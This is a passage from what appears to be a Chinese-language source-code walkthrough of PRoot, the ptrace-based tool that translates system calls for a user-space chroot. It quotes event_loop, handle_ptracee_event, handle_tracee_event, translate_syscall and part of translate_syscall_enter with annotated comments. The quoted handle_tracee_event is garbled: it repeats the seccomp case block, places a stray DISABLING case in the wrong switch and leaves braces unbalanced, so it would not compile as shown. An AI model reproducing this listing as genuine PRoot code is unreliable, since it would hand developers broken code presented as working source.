(status < 0) return status; return 0; // 成功返回0 } |
这里就是设置 设置seccomp过滤器 的地方
\\n完成后就开始 主进程就开始循环处理了
\\nevent_loop()
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 | /** * 等待并处理来自所有被跟踪进程(tracees)的事件。本函数返回最后一个终止程序的退出状态。 */ int event_loop() { struct sigaction signal_action; long status; int signum; /* 退出时杀死所有被跟踪进程 */ status = atexit (kill_all_tracees); if (status != 0) note(NULL, WARNING, INTERNAL, \\"atexit() 失败\\" ); /* 信号处理函数被调用时会阻塞所有信号。 * 使用 SIGINFO 标识进程信号来源,RESTART 标识无缝重启 waitpid(2) */ bzero(&signal_action, sizeof (signal_action)); signal_action.sa_flags = SA_SIGINFO | SA_RESTART; status = sigfillset(&signal_action.sa_mask); if (status < 0) note(NULL, WARNING, SYSTEM, \\"sigfillset() 错误\\" ); /* 遍历所有可能的信号并配置处理方式 */ for (signum = 0; signum < SIGRTMAX; signum++) { switch (signum) { case SIGQUIT: // 终止请求信号 case SIGILL: // 非法指令 case SIGABRT: // 异常中止 case SIGFPE: // 算术错误 case SIGSEGV: // 段错误 /* 在异常终止信号时杀死所有被跟踪进程,确保无残留 */ signal_action.sa_sigaction = kill_all_tracees2; break ; case SIGUSR1: // 用户自定义信号1 case SIGUSR2: // 用户自定义信号2 /* 调试用:在 stderr 打印完整 talloc 内存层级 */ signal_action.sa_sigaction = print_talloc_hierarchy; break ; case SIGCHLD: // 子进程状态变化 case SIGCONT: // 继续执行 case SIGSTOP: // 停止进程 case SIGTSTP: // 终端停止请求 case SIGTTIN: // 后台读终端 case SIGTTOU: // 后台写终端 /* 保留与终端和作业控制相关信号的默认行为 */ continue ; default : /* 忽略其他信号(如终止信号 SIGINT/^C) */ signal_action.sa_sigaction = ( void *)SIG_IGN; break ; } /* 注册信号处理函数 */ status = sigaction(signum, &signal_action, NULL); if (status < 0 && errno != EINVAL) note(NULL, WARNING, SYSTEM, \\"sigaction(%d) 错误\\" , signum); } /* 主事件循环 */ while (1) { int tracee_status; // 被跟踪进程状态 Tracee *tracee; // 被跟踪进程对象 int signal ; // 接收到的信号 pid_t pid; // 进程ID /* 等待任意被跟踪进程的状态变化 */ pid = waitpid(-1, &tracee_status, __WALL); if (pid < 0) { if ( errno != ECHILD) { // 无子进程时正常退出 note(NULL, ERROR, SYSTEM, \\"waitpid() 错误\\" ); return EXIT_FAILURE; } break ; // 所有子进程已退出,结束循环 } /* 获取对应被跟踪进程的信息 */ tracee = get_tracee(NULL, pid, true ); assert (tracee != NULL); tracee->running = false ; // 标记为停止状态 /* 通知扩展模块处理新状态 */ status = notify_extensions(tracee, NEW_STATUS, tracee_status, 0); if (status != 0) continue ; /* 处理来自 ptrace 的事件 */ if (tracee->as_ptracee.ptracer != NULL) { bool keep_stopped = handle_ptracee_event(tracee, tracee_status); if (keep_stopped) continue ; // 需要保持停止状态,不重启进程 } /* 处理事件并获取需传递的信号 */ signal = handle_tracee_event(tracee, tracee_status); /* 重启被跟踪进程(可能附带信号) */ ( void ) restart_tracee(tracee, signal ); } return last_exit_status; // 返回最后一个退出状态码 } |
我们跟进 handle_ptracee_event 看看它是如何处理ptrace的调用的?
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 | /** * 对于给定的被跟踪进程 @ptracee,如果其跟踪者(ptracer)正在等待当前 @event, * 则将事件传递给跟踪者;否则将 @ptracee 置为“等待跟踪者”状态。 * 返回值表示是否应保持 @ptracee 的停止状态。 */ bool handle_ptracee_event(Tracee *ptracee, int event) { bool handled_by_proot_first = false ; // 标记事件是否需要由PRoot优先处理 Tracee *ptracer = PTRACEE.ptracer; // 获取跟踪者(父进程) bool keep_stopped; // 返回值:是否保持停止状态 assert (ptracer != NULL); // 确保跟踪者存在 /* 保存原始事件信息,供PRoot后续处理 */ PTRACEE.event4.proot.value = event; // 存储事件值 PTRACEE.event4.proot.pending = true ; // 标记事件待处理 /* 默认情况下,保持ptracee停止,直到跟踪者恢复它 */ keep_stopped = true ; /* 处理因信号停止的事件(WIFSTOPPED) */ if (WIFSTOPPED(event)) { switch ((event & 0xfff00) >> 8) { // 提取高位信号类型 case SIGTRAP | 0x80: // 系统调用退出事件(带syscall-good标志) if (PTRACEE.ignore_syscalls || PTRACEE.ignore_loader_syscalls) return false ; // 若忽略系统调用,直接返回不保持停止 if ((PTRACEE.options & PTRACE_O_TRACESYSGOOD) == 0) // 未启用TRACESYSGOOD event &= ~(0x80 << 8); // 清除高位标志 handled_by_proot_first = IS_IN_SYSEXIT(ptracee); // 系统调用退出阶段由PRoot处理 break ; // 宏定义:处理特定跟踪事件(FORK/VFORK等) #define PTRACE_EVENT_VFORKDONE PTRACE_EVENT_VFORK_DONE // 兼容性定义 #define CASE_FILTER_EVENT(name) \\\\ case SIGTRAP | PTRACE_EVENT_ ##name << 8: \\\\ if ((PTRACEE.options & PTRACE_O_TRACE ##name) == 0) \\\\ // 未启用对应跟踪选项 return false ; \\\\ PTRACEE.tracing_started = true ; \\\\ // 标记跟踪已开始 handled_by_proot_first = true ; \\\\ // PRoot优先处理 break ; CASE_FILTER_EVENT(FORK); // 处理进程fork事件 CASE_FILTER_EVENT(VFORK); // 处理vfork事件 CASE_FILTER_EVENT(VFORKDONE); // 处理vfork完成事件 CASE_FILTER_EVENT(CLONE); // 处理clone事件 CASE_FILTER_EVENT(EXIT); // 处理进程退出事件 CASE_FILTER_EVENT(EXEC); // 处理exec事件 /* 以下代码不可达,触发断言 */ assert (0); // 不支持的事件类型(如seccomp) case SIGTRAP | PTRACE_EVENT_SECCOMP2 << 8: case SIGTRAP | PTRACE_EVENT_SECCOMP << 8: return false ; // 直接返回不处理 default : // 其他信号停止事件 PTRACEE.tracing_started = true ; // 标记跟踪开始 break ; } } /* 处理进程退出或信号终止事件 */ else if (WIFEXITED(event) || WIFSIGNALED(event)) { PTRACEE.tracing_started = true ; // 标记跟踪已开始 keep_stopped = false ; // 进程已终止,无需保持停止 } /* 若跟踪尚未开始(如TRACEME后首次事件),直接返回 */ if (!PTRACEE.tracing_started) return false ; /* PRoot优先处理事件(如系统调用退出) */ if (handled_by_proot_first) { int signal = handle_tracee_event(ptracee, PTRACEE.event4.proot.value); PTRACEE.event4.proot.value = signal ; // 更新处理后的信号值 assert ( signal == 0); // 当前逻辑下信号应为0(如sysexit无需传递信号) } /* 保存处理后的事件信息,供跟踪者使用 */ PTRACEE.event4.ptracer.value = event; // 记录最终事件值 PTRACEE.event4.ptracer.pending = true ; // 标记事件待跟踪者处理 /* 异步通知跟踪者(发送SIGCHLD模拟内核行为) */ kill(ptracer->pid, SIGCHLD); /* 若跟踪者正在等待此ptracee的事件 */ if ((PTRACER.wait_pid == -1 || PTRACER.wait_pid == ptracee->pid) && EXPECTED_WAIT_CLONE(PTRACER.wait_options, ptracee)) { bool restarted; int status = update_wait_status(ptracer, ptracee); // 更新等待状态 poke_reg(ptracer, SYSARG_RESULT, (word_t) status); // 修改寄存器返回值 ( void ) push_regs(ptracer); // 写回寄存器缓存 /* 重启跟踪者进程 */ PTRACER.wait_pid = 0; restarted = restart_tracee(ptracer, 0); // 尝试恢复跟踪者执行 if (!restarted) // 重启失败则不再保持停止 keep_stopped = false ; } return keep_stopped; // 返回是否保持ptracee停止 } // 关键逻辑说明: // 1. 事件分层处理: // - 原始事件(如系统调用退出)先由PRoot处理(如模拟执行后清理) // - 处理后的事件转发给跟踪者(如GDB),模拟内核的ptrace事件传递 // // 2. 状态同步机制: // - 通过SIGCHLD通知跟踪者有事件待处理 // - 若跟踪者正在waitpid,直接更新其寄存器状态并唤醒,减少延迟 // // 3. 停止状态决策: // - 进程终止(EXITED/SIGNALED)时必须返回false,防止僵尸进程滞留 // - 默认保持停止,直到跟踪者显式调用PTRACE_CONT // // 潜在问题: // 1. 事件掩码计算: // - `(event & 0xfff00) >> 8` 假设高位存储事件类型,需确保与内核实现一致 // - 若PTRACE_EVENT_* 的编码方式变化,可能导致错误过滤 // // 2. 异步竞争条件: // - kill()发送SIGCHLD后,跟踪者可能尚未进入waitpid,导致信号丢失 // - 需依赖内核的ptrace语义保证事件不会丢失 // // 3. 宏展开风险: // - CASE_FILTER_EVENT(EXEC) 展开后依赖PTRACE_O_TRACEEXEC选项的存在 // - 若PTrace实现不兼容某些选项,需添加条件编译 |
然后就是对 tracee的处理handle_tracee_event
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 | /** * 处理被跟踪进程(tracee)的当前事件(@tracee_status)。该函数返回用于恢复该进程执行的\\"计算\\"信号。 */ int handle_tracee_event(Tracee *tracee, int tracee_status) { static bool seccomp_detected = false ; // 静态标志位,检测是否启用seccomp pid_t pid = tracee->pid; // 获取被跟踪进程的PID long status; // 系统调用状态 int signal ; // 要发送的信号 /* 如果重启方式未被显式设置(例如在单步调试的ptrace模拟中), 则自动设置默认值 */ if (tracee->restart_how == 0) { /* 当启用seccomp时,所有事件在非停止模式下重启,但后续可能需要修改。 检查\\"sysexit_pending\\"确保不会因其他事件(如execve退出的PTRACE_EVENT_EXEC) 清除用于seccomp退出阶段的PTRACE_SYSCALL */ if (tracee->seccomp == ENABLED && !tracee->sysexit_pending) tracee->restart_how = PTRACE_CONT; // 继续执行 else tracee->restart_how = PTRACE_SYSCALL; // 在下一个系统调用时停止 } /* 默认不是信号触发的停止 */ signal = 0; // 处理进程退出状态 if (WIFEXITED(tracee_status)) { last_exit_status = WEXITSTATUS(tracee_status); VERBOSE(tracee, 1, \\"进程 %d:已退出,状态码 %d\\" , pid, last_exit_status); } // 处理信号终止 else if (WIFSIGNALED(tracee_status)) { check_architecture(tracee); VERBOSE(tracee, ( int ) (last_exit_status != -1), \\"进程 %d:被信号 %d 终止\\" , pid, WTERMSIG(tracee_status)); } // 处理停止状态 else if (WIFSTOPPED(tracee_status)) { /* 不使用WSTOPSIG()提取信号,因为它会清除PTRACE_EVENT_*标志位 */ signal = (tracee_status & 0xfff00) >> 8; // 解码信号 switch ( signal ) { static bool deliver_sigtrap = false ; // 静态标志控制SIGTRAP传递 case SIGTRAP: { // 断点/单步异常 // 默认ptrace监控选项 const unsigned long default_ptrace_options = ( PTRACE_O_TRACESYSGOOD | // 系统调用时发送SIGTRAP|0x80 PTRACE_O_TRACEFORK | // 跟踪fork PTRACE_O_TRACEVFORK | // 跟踪vfork PTRACE_O_TRACEVFORKDONE | // vfork完成跟踪 PTRACE_O_TRACEEXEC | // 跟踪exec PTRACE_O_TRACECLONE | // 跟踪clone PTRACE_O_TRACEEXIT); // 跟踪进程退出 /* 区分不同事件类型,自动为新进程设置相同跟踪选项 只有第一个纯SIGTRAP与跟踪循环相关,其他SIGTRAP携带 TRACE*FORK/CLONE/EXEC的跟踪信息 */ if (deliver_sigtrap) break ; // 直接传递该信号 deliver_sigtrap = true ; /* 尝试启用seccomp模式2... */ status = ptrace(PTRACE_SETOPTIONS, tracee->pid, NULL, default_ptrace_options | PTRACE_O_TRACESECCOMP); if (status < 0) { /* ...否则仅使用默认选项 */ status = ptrace(PTRACE_SETOPTIONS, tracee->pid, NULL, default_ptrace_options); if (status < 0) { note(tracee, ERROR, SYSTEM, \\"ptrace(PTRACE_SETOPTIONS失败)\\" ); exit (EXIT_FAILURE); } } } /* 继续处理 */ case SIGTRAP | 0x80: // 带系统调用标志的SIGTRAP signal = 0; /* 当tracee在系统调用进入阶段被释放,但内核仍报告退出阶段时, 丢弃这个无效的tracee/事件 */ if (tracee->exe == NULL) { tracee->restart_how = PTRACE_CONT; return 0; } // 根据seccomp状态处理系统调用 switch (tracee->seccomp) { case ENABLED: // seccomp启用状态 if (IS_IN_SYSENTER(tracee)) { // 系统调用进入阶段 tracee->restart_how = PTRACE_SYSCALL; // 捕获退出阶段 tracee->sysexit_pending = true ; // 标记退出阶段待处理 } else { // 系统调用退出阶段 tracee->restart_how = PTRACE_CONT; // 直接继续执行 tracee->sysexit_pending = false ; // 清除退出标志 } /* 继续处理 */ case DISABLED: // seccomp禁用状态 translate_syscall(tracee); // 转换系统调用 /* 当前系统调用已禁用seccomp */ if (tracee->seccomp == DISABLING) { tracee->restart_how = PTRACE_SYSCALL; tracee->seccomp = DISABLED; } break ; case DISABLING: // seccomp正在禁用 /* 前一个系统调用已禁用seccomp, 但其进入阶段已处理完成 */ tracee->seccomp = DISABLED; if (IS_IN_SYSENTER(tracee)) tracee->status = 1; break ; } break ; // 处理seccomp事件(模式2或原始模式) case SIGTRAP | PTRACE_EVENT_SECCOMP2 << 8: case SIGTRAP | PTRACE_EVENT_SECCOMP << 8: { unsigned long flags = 0; signal = 0; if (!seccomp_detected) { VERBOSE(tracee, 1, \\"已启用ptrace加速(seccomp模式2)\\" ); tracee->seccomp = ENABLED; seccomp_detected = true ; } /* 如果该tracee已显式禁用seccomp,使用普通ptrace流程 */ if (tracee->seccomp != ENABLED) break ; status = ptrace(PTRACE_GETEVENTMSG, tracee->pid, NULL, &flags); if (status < 0) break ; /* 需要处理系统调用退出阶段时,使用普通ptrace流程 */ if ((flags & FILTER_SYSEXIT) != 0) { tracee->restart_how = PTRACE_SYSCALL; break ; } /* 否则立即处理系统调用进入阶段 */ tracee->restart_how = PTRACE_CONT; translate_syscall(tracee); /* 如果该调用禁用了seccomp,切换回普通流程以确保处理退出阶段 */ if (tracee->seccomp == DISABLING) /* 设置跟踪对象的系统调用重启方式为PTRACE_SYSCALL(在进入和退出时都停止) */ tracee->restart_how = PTRACE_SYSCALL; /* 标记该跟踪对象的seccomp状态为已禁用 */ tracee->seccomp = DISABLED; break ; // 退出当前switch分支 case DISABLING: // 处理seccomp正在禁用中的状态 /* * 前一个系统调用已禁用seccomp, * 但其sysenter阶段(系统调用入口)已被处理。 */ tracee->seccomp = DISABLED; // 更新状态为完全禁用 /* 如果当前处于sysenter阶段,设置状态标志为1 */ if (IS_IN_SYSENTER(tracee)) tracee->status = 1; break ; break ; // 退出外层switch /* 处理SECCOMP相关ptrace事件 */ case SIGTRAP | PTRACE_EVENT_SECCOMP2 << 8: case SIGTRAP | PTRACE_EVENT_SECCOMP << 8: { unsigned long flags = 0; signal = 0; // 重置信号,表示不传递信号给被跟踪进程 /* 首次检测到seccomp时的初始化 */ if (!seccomp_detected) { VERBOSE(tracee, 1, \\"启用ptrace加速(seccomp模式2)\\" ); tracee->seccomp = ENABLED; // 启用seccomp跟踪 seccomp_detected = true ; // 设置全局检测标志 } /* 如果该跟踪对象未启用seccomp,走普通ptrace流程 */ if (tracee->seccomp != ENABLED) break ; /* 获取事件消息中的过滤器标志 */ status = ptrace(PTRACE_GETEVENTMSG, tracee->pid, NULL, &flags); if (status < 0) break ; /* 当需要处理sysexit(系统调用退出)时,使用常规流程 */ if ((flags & FILTER_SYSEXIT) != 0) { tracee->restart_how = PTRACE_SYSCALL; // 捕获进入和退出 break ; } /* 否则立即处理sysenter阶段 */ tracee->restart_how = PTRACE_CONT; // 继续执行直到下一个事件 translate_syscall(tracee); // 处理系统调用参数/模拟 /* 如果该syscall禁用了seccomp,切回常规路径以确保处理sysexit */ if (tracee->seccomp == DISABLING) tracee->restart_how = PTRACE_SYSCALL; break ; } /* 处理vfork事件 */ case SIGTRAP | PTRACE_EVENT_VFORK << 8: signal = 0; ( void ) new_child(tracee, CLONE_VFORK); // 创建vfork子进程跟踪对象 break ; /* 处理fork/clone事件 */ case SIGTRAP | PTRACE_EVENT_FORK << 8: case SIGTRAP | PTRACE_EVENT_CLONE << 8: signal = 0; ( void ) new_child(tracee, 0); // 创建普通子进程跟踪对象 break ; /* 处理其他事件(不执行特殊操作) */ case SIGTRAP | PTRACE_EVENT_VFORK_DONE << 8: case SIGTRAP | PTRACE_EVENT_EXEC << 8: case SIGTRAP | PTRACE_EVENT_EXIT << 8: signal = 0; // 仅清除信号 break ; /* 处理SIGSTOP信号 */ case SIGSTOP: /* 当进程镜像未设置时,挂起跟踪直到收到fork/clone通知 */ if (tracee->exe == NULL) { tracee->sigstop = SIGSTOP_PENDING; // 设置挂起状态 signal = -1; // 阻止信号传递 } /* 对每个跟踪对象,首个SIGSTOP仅用于通知跟踪器 */ if (tracee->sigstop == SIGSTOP_IGNORED) { tracee->sigstop = SIGSTOP_ALLOWED; // 标记为已处理 signal = 0; // 允许后续传递 } break ; default : /* 其他信号直接传递给被跟踪进程 */ break ; } |
接着就是系统调用的处理了!
\\ntranslate_syscall
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 | /** * 系统调用翻译核心函数 - 处理系统调用进入/退出阶段的寄存器操作 * @param tracee 被跟踪进程的上下文信息 */ void translate_syscall(Tracee *tracee) { const bool is_enter_stage = IS_IN_SYSENTER(tracee); // 判断当前阶段:系统调用入口 int status; assert (tracee->exe != NULL); // 确保已加载目标可执行文件 /* 获取当前寄存器状态 */ status = fetch_regs(tracee); if (status < 0) return ; // 获取失败直接返回 if (is_enter_stage) { /* ==== 系统调用入口阶段处理 ==== */ /* 标记本阶段结束时不需要恢复原始寄存器 */ tracee->restore_original_regs = false ; print_current_regs(tracee, 3, \\"sysenter start\\" ); // 调试输出:三级详细度的寄存器状态 /* 仅处理真实用户请求的系统调用(非PRoot内部链式调用) */ if (tracee->chain.syscalls == NULL) { save_current_regs(tracee, ORIGINAL); // 保存原始寄存器快照 status = translate_syscall_enter(tracee); // 执行系统调用入口翻译 save_current_regs(tracee, MODIFIED); // 保存修改后的寄存器状态 } else { /* 链式调用处理:通知扩展模块 */ status = notify_extensions(tracee, SYSCALL_CHAINED_ENTER, 0, 0); tracee->restart_how = PTRACE_SYSCALL; // 设置ptrace为完整跟踪模式 } /* 错误处理逻辑 */ if (status < 0) { set_sysnum(tracee, PR_void); // 将系统调用号设为无效值 poke_reg(tracee, SYSARG_RESULT, (word_t) status); // 将错误码写入结果寄存器 tracee->status = status; // 记录错误状态 } else tracee->status = 1; // 标记正常状态 /* 特殊场景处理:当使用PTRACE_CONT直接继续时恢复栈指针 */ if (tracee->restart_how == PTRACE_CONT) { tracee->status = 0; poke_reg(tracee, STACK_POINTER, peek_reg(tracee, ORIGINAL, STACK_POINTER)); // 还原原始栈指针 } } else { /* ==== 系统调用退出阶段处理 ==== */ /* 默认在退出阶段结束时恢复原始寄存器 */ tracee->restore_original_regs = true ; print_current_regs(tracee, 5, \\"sysexit start\\" ); // 调试输出:五级详细度 /* 仅处理真实系统调用的退出 */ if (tracee->chain.syscalls == NULL) translate_syscall_exit(tracee); // 执行退出阶段翻译 else ( void ) notify_extensions(tracee, SYSCALL_CHAINED_EXIT, 0, 0); tracee->status = 0; // 重置状态 /* 链式调用处理:执行下一个链式系统调用 */ if (tracee->chain.syscalls != NULL) chain_next_syscall(tracee); // 加载下一个系统调用参数 } /* 将修改后的寄存器写回被跟踪进程 */ ( void ) push_regs(tracee); /* 阶段结束调试输出 */ if (is_enter_stage) print_current_regs(tracee, 5, \\"sysenter end\\" ); else print_current_regs(tracee, 4, \\"sysexit end\\" ); } |
这里面就有处理 syscall 的函数
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 | /** * Translate the input arguments of the current @tracee\'s syscall in the * @tracee->pid process area. This function sets @tracee->status to * -errno if an error occured from the tracee\'s point-of-view (EFAULT * for instance), otherwise 0. */ int translate_syscall_enter(Tracee *tracee) { int flags; int dirfd; int olddirfd; int newdirfd; int status; int status2; char path[PATH_MAX]; char oldpath[PATH_MAX]; char newpath[PATH_MAX]; word_t syscall_number; bool special = false ; status = notify_extensions(tracee, SYSCALL_ENTER_START, 0, 0); if (status < 0) goto end; if (status > 0) return 0; /* Translate input arguments. */ syscall_number = get_sysnum(tracee, ORIGINAL); switch (syscall_number) { default : /* Nothing to do. */ status = 0; break ; case PR_execve: status = translate_execve_enter(tracee); break ; case PR_ptrace: status = translate_ptrace_enter(tracee); break ; case PR_wait4: case PR_waitpid: status = translate_wait_enter(tracee); break ; case PR_brk: status = translate_brk_enter(tracee); break ; case PR_getcwd: set_sysnum(tracee, PR_void); status = 0; break ; case PR_fchdir: case PR_chdir: { struct stat statl; char *tmp; /* The ending \\".\\" ensures an error will be reported if * path does not exist or if it is not a directory. */ if (syscall_number == PR_chdir) { status = get_sysarg_path(tracee, path, SYSARG_1); if (status < 0) break ; status = join_paths(2, oldpath, path, \\".\\" ); if (status < 0) break ; dirfd = AT_FDCWD; } else { strcpy (oldpath, \\".\\" ); dirfd = peek_reg(tracee, CURRENT, SYSARG_1); } status = translate_path(tracee, path, dirfd, oldpath, true ); if (status < 0) break ; status = lstat(path, &statl); if (status < 0) break ; /* Check this directory is accessible. */ if ((statl.st_mode & S_IXUSR) == 0) return -EACCES; /* Sadly this method doesn\'t detranslate statefully, * this means that there\'s an ambiguity when several * bindings are from the same host path: * * $ proot -m /tmp:/a -m /tmp:/b fchdir_getcwd /a * /b * * $ proot -m /tmp:/b -m /tmp:/a fchdir_getcwd /a * /a * * A solution would be to follow each file descriptor * just like it is done for cwd. */ status = detranslate_path(tracee, path, NULL); if (status < 0) break ; /* Remove the trailing \\"/\\" or \\"/.\\". */ chop_finality(path); tmp = talloc_strdup(tracee->fs, path); if (tmp == NULL) { status = -ENOMEM; break ; } TALLOC_FREE(tracee->fs->cwd); tracee->fs->cwd = tmp; talloc_set_name_const(tracee->fs->cwd, \\"$cwd\\" ); set_sysnum(tracee, PR_void); status = 0; break ; } case PR_bind: case PR_connect: { word_t address; word_t size; address = peek_reg(tracee, CURRENT, SYSARG_2); size = peek_reg(tracee, CURRENT, SYSARG_3); status = translate_socketcall_enter(tracee, &address, size); if (status <= 0) break ; poke_reg(tracee, SYSARG_2, address); poke_reg(tracee, SYSARG_3, sizeof ( struct sockaddr_un)); status = 0; break ; } #define SYSARG_ADDR(n) (args_addr + ((n) - 1) * sizeof_word(tracee)) #define PEEK_WORD(addr, forced_errno) \\\\ peek_word(tracee, addr); \\\\ if ( errno != 0) { \\\\ status = forced_errno ?: - errno ; \\\\ break ; \\\\ } #define POKE_WORD(addr, value) \\\\ poke_word(tracee, addr, value); \\\\ if ( errno != 0) { \\\\ status = - errno ; \\\\ break ; \\\\ } case PR_accept: case PR_accept4: /* Nothing special to do if no sockaddr was specified. */ if (peek_reg(tracee, ORIGINAL, SYSARG_2) == 0) { status = 0; break ; } special = true ; /* Fall through. */ case PR_getsockname: case PR_getpeername:{ int size; /* Remember: PEEK_WORD puts -errno in status and breaks if an * error occured. */ size = ( int ) PEEK_WORD(peek_reg(tracee, ORIGINAL, SYSARG_3), special ? -EINVAL : 0); /* The \\"size\\" argument is both used as an input parameter * (max. size) and as an output parameter (actual size). The * exit stage needs to know the max. size to not overwrite * anything, that\'s why it is copied in the 6th argument * (unused) before the kernel updates it. */ poke_reg(tracee, SYSARG_6, size); status = 0; break ; } case PR_socketcall: { word_t args_addr; word_t sock_addr_saved; word_t sock_addr; word_t size_addr; word_t size; args_addr = peek_reg(tracee, CURRENT, SYSARG_2); switch (peek_reg(tracee, CURRENT, SYSARG_1)) { case SYS_BIND: case SYS_CONNECT: /* Handle these cases below. */ status = 1; break ; case SYS_ACCEPT: case SYS_ACCEPT4: /* Nothing special to do if no sockaddr was specified. */ sock_addr = PEEK_WORD(SYSARG_ADDR(2), 0); if (sock_addr == 0) { status = 0; break ; } special = true ; /* Fall through. */ case SYS_GETSOCKNAME: case SYS_GETPEERNAME: /* Remember: PEEK_WORD puts -errno in status and breaks * if an error occured. */ size_addr = PEEK_WORD(SYSARG_ADDR(3), 0); size = ( int ) PEEK_WORD(size_addr, special ? -EINVAL : 0); /* See case PR_accept for explanation. */ poke_reg(tracee, SYSARG_6, size); status = 0; break ; default : status = 0; break ; } /* An error occured or there\'s nothing else to do. */ if (status <= 0) break ; /* Remember: PEEK_WORD puts -errno in status and breaks if an * error occured. */ sock_addr = PEEK_WORD(SYSARG_ADDR(2), 0); size = PEEK_WORD(SYSARG_ADDR(3), 0); sock_addr_saved = sock_addr; status = translate_socketcall_enter(tracee, &sock_addr, size); if (status <= 0) break ; /* These parameters are used/restored at the exit stage. */ poke_reg(tracee, SYSARG_5, sock_addr_saved); poke_reg(tracee, SYSARG_6, size); /* Remember: POKE_WORD puts -errno in status and breaks if an * error occured. */ POKE_WORD(SYSARG_ADDR(2), sock_addr); POKE_WORD(SYSARG_ADDR(3), sizeof ( struct sockaddr_un)); status = 0; break ; } #undef SYSARG_ADDR #undef PEEK_WORD #undef POKE_WORD case PR_access: case PR_acct: case PR_chmod: case PR_chown: case PR_chown32: case PR_chroot: case PR_getxattr: case PR_listxattr: case PR_mknod: case PR_oldstat: case PR_creat: case PR_removexattr: case PR_setxattr: case PR_stat: case PR_stat64: case PR_statfs: case PR_statfs64: case PR_swapoff: case PR_swapon: case PR_truncate: case PR_truncate64: case PR_umount: case PR_umount2: case PR_uselib: case PR_utime: case PR_utimes: status = translate_sysarg(tracee, SYSARG_1, REGULAR); break ; case PR_open: flags = peek_reg(tracee, CURRENT, SYSARG_2); if ( ((flags & O_NOFOLLOW) != 0) || ((flags & O_EXCL) != 0 && (flags & O_CREAT) != 0)) status = translate_sysarg(tracee, SYSARG_1, SYMLINK); else status = translate_sysarg(tracee, SYSARG_1, REGULAR); break ; case PR_fchownat: case PR_fstatat64: case PR_newfstatat: case PR_utimensat: case PR_name_to_handle_at: dirfd = peek_reg(tracee, CURRENT, SYSARG_1); status = get_sysarg_path(tracee, path, SYSARG_2); if (status < 0) break ; flags = ( syscall_number == PR_fchownat || syscall_number == PR_name_to_handle_at) ? peek_reg(tracee, CURRENT, SYSARG_5) : peek_reg(tracee, CURRENT, SYSARG_4); if ((flags & AT_SYMLINK_NOFOLLOW) != 0) status = translate_path2(tracee, dirfd, path, SYSARG_2, SYMLINK); else status = translate_path2(tracee, dirfd, path, SYSARG_2, REGULAR); break ; case PR_fchmodat: case PR_faccessat: case 